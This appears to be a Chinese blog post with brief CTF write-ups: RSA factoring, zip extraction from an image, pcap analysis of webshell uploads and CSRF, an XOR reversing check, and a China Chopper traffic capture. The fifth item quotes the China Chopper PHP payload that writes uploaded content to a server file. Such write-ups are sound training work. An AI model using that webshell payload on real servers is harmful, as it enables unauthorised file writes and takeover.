看到群里别人参加比赛发上来的附件,自己尝试解了一下。
1、提示RSA,提供flag.enc和pub.key附件
一看就是解RSA,公钥分解得到n和e
n=86934482296048119190666062003494800588905656017203025617216654058378322103517
e=65537
分解n,得到pq
q = 304008741604601924494328155975272418463
p = 285960468890451637935629440372639283459
有pqe可以求出d
d = 81176168860169991027846870170527607562179635470395365333547868786951080991441
有了ned和密文就可以解出明文了,然后转成字符串
2、不知道什么鬼的图片
分析含zip,分离,然后zip再爆破
3、pcap入侵记录的题目
搜<?php找到几个一句话的提交路径,可以看到大量扫描404的回显记录,攻击者IP是172.17.0.1
继续找,发现另一个IP修改了密码,应该是管理员,所以基本上判断不是XSS不是SQL是CSRF,看readme是CWE-352
继续搜找到放代码的页面,在某个页面POST提交
不确定是POST提交的算还是管理员点击后算,所以FLAG按照题目提交格式应该是CWE-352_2018-06-15 09:18:29的MD5或者CWE-352_2018-6-15 09:40:12的md5密文
4、XOR
放C32后看不出什么,IDA载入
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int result; // eax
signed int i; // [rsp+2Ch] [rbp-124h]
char v6[264]; // [rsp+40h] [rbp-110h]
__int64 v7; // [rsp+148h] [rbp-8h]
memset(v6, 0, 0x100uLL);
v3 = (char *)256;
printf("Input your flag:\n", 0LL);
get_line(v6, 0x100u);
if ( strlen(v6) != 33 )
goto LABEL_12;
for ( i = 1; i < 33; ++i )
v6[i] ^= v6[i - 1];
v3 = global;
if ( !strncmp(v6, global, 0x21uLL) )
printf("Success", v3);
else
LABEL_12:
printf("Failed", v3);
result = __stack_chk_guard;
if ( __stack_chk_guard == v7 )
result = 0;
return result;
看得出和提醒XOR对应,一共33位的字符串循环异或前面一位,异或计算的字符串如下
其中0Ah表示换行,对应ASCII码10,以此类推
异或计算前
'f',10,'k',12,'w','&','O','.','@',17,'x',13,'Z',';','U',17,'p',25,'F',31,'v','"','M','#','D',14,'g','h',15,'G',2,'O',0
用Python根据内容进行循环异或得出flag
5、菜刀pcap文件
可以看得出菜刀连接后上传了文件
@ini_set("display_errors","");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"":"");;echo("|<-");die();
6666.jpg的时间UTC+8和和报文时间可以对上,应该就是jpg文件,直接导出HEX输出图片得到FLAG
6、异性相吸,直接Python异或计算
手机扫一扫
移动阅读更方便
你可能感兴趣的文章